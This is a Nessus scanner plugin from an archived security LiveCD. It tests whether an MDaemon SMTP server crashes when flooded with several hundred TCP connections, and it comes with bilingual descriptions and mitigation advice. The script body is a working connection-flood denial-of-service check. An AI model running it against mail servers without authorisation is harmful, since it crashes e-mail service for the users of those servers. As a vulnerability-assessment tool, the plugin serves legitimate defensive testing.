home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / mdaemon_dos.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  130 lines
  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6. # References:
  7. # Date: Sun, 27 Oct 2002 19:49:45 +0300
  8. # From: "D4rkGr3y" <grey_1999@mail.ru>
  9. # To: bugtraq@securityfocus.com, submissions@packetstormsecurity.com, 
  10. #   vulnwatch@vulnwatch.org
  11. # Subject: MDaemon SMTP/POP/IMAP server DoS
  12. # 
  13.  
  14. if(description)
  15. {
  16.  script_id(10137);
  17.  script_bugtraq_id(8554);
  18.  script_version ("$Revision: 1.19 $");
  19.  script_cve_id("CAN-1999-0846");
  20.  
  21.  name["english"] = "MDaemon DoS";
  22.  name["francais"] = "DΘni de service MDaemon";
  23.  script_name(english:name["english"], francais:name["francais"]);
  24.  
  25.  desc["english"] = "
  26. It was possible to crash the remote SMTP server
  27. by opening a great amount of sockets on it.
  28.  
  29.  
  30. This problem allows an attacker to make your
  31. SMTP server crash, thus preventing you
  32. from sending or receiving e-mails, which
  33. will affect your work.
  34.  
  35.  
  36. *** Note that due to the nature of this vulnerability,
  37. *** Nessus can not be 100% positive on the effectiveness of
  38. *** this flaw. As a result, this report might be a false positive
  39.  
  40. Solution : 
  41. If your SMTP server is constrained to a maximum
  42. number of processes, i.e. it's not running as
  43. root and as a ulimit 'max user processes' of
  44. 256, you may consider upping the limit with 'ulimit -u'.
  45.  
  46. If your server has the ability to protect itself from
  47. SYN floods, you should turn on that features, i.e. Linux's CONFIG_SYN_COOKIES
  48.  
  49. The best solution may be Cisco's 'TCP intercept' feature.
  50.  
  51.  
  52. Risk factor : High";
  53.  
  54.  
  55.  desc["francais"] = "Il s'est avΘrΘ possible de faire
  56. planter le serveur SMTP distant en ouvrant un grand
  57. nombre de connections dessus.
  58.  
  59. Ce problΦme permet α des pirates de faire
  60. planter votre serveur SMTP, vous empechant
  61. ainsi d'envoyer et de recevoir des emails,
  62. ce qui affectera votre travail.
  63.  
  64. Solution : contactez votre vendeur pour un patch.
  65.  
  66. Facteur de risque : SΘrieux";
  67.  
  68.  script_description(english:desc["english"], francais:desc["francais"]);
  69.  
  70.  summary["english"] = "Crashes the remote MTA";
  71.  summary["francais"] = "Fait planter le MTA distant";
  72.  script_summary(english:summary["english"], francais:summary["francais"]);
  73.  
  74.  if (ACT_FLOOD) script_category(ACT_FLOOD);
  75.  else        script_category(ACT_DENIAL);
  76.  
  77.  
  78.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  79.         francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  80.  family["english"] = "Denial of Service";
  81.  family["francais"] = "DΘni de service";
  82.  script_family(english:family["english"], francais:family["francais"]);
  83.  script_dependencie("find_service.nes", "sendmail_expn.nasl");
  84.  script_exclude_keys("SMTP/wrapped");
  85.  script_require_ports("Services/smtp", 25);
  86.  exit(0);
  87. }
  88.  
  89. #
  90. # The script code starts here
  91. #
  92.  
  93.  
  94. include("smtp_func.inc");
  95.  
  96. port = get_kb_item("Services/smtp");
  97. if(!port)port = 25;
  98. if(get_port_state(port))
  99. {
  100.  i = 0;
  101.  ref_soc = open_sock_tcp(port);
  102.  if ( ! ref_soc ) exit(0);
  103.  banner = smtp_recv_line(socket:ref_soc);
  104.  
  105.  soc = open_sock_tcp(port);
  106.  if(!soc)exit(0);
  107.  while(TRUE)
  108.  {
  109.   soc = open_sock_tcp(port);
  110.   if(!soc){
  111.       sleep(5);
  112.     soc2 = open_sock_tcp(port);
  113.     if(!soc2){
  114.      send(socket:ref_soc, data:'HELP\r\n');
  115.          out = smtp_recv_line(socket:ref_soc);
  116.          if ( ! out ) security_hole(port);
  117.          }
  118.     else close(soc2);
  119.         close(ref_soc);
  120.     exit(0);
  121.     }
  122.   if( i > 400)
  123.   {
  124.         close(ref_soc);
  125.      exit(0);
  126.   }
  127.   i = i + 1;
  128.  }
  129. }
  130.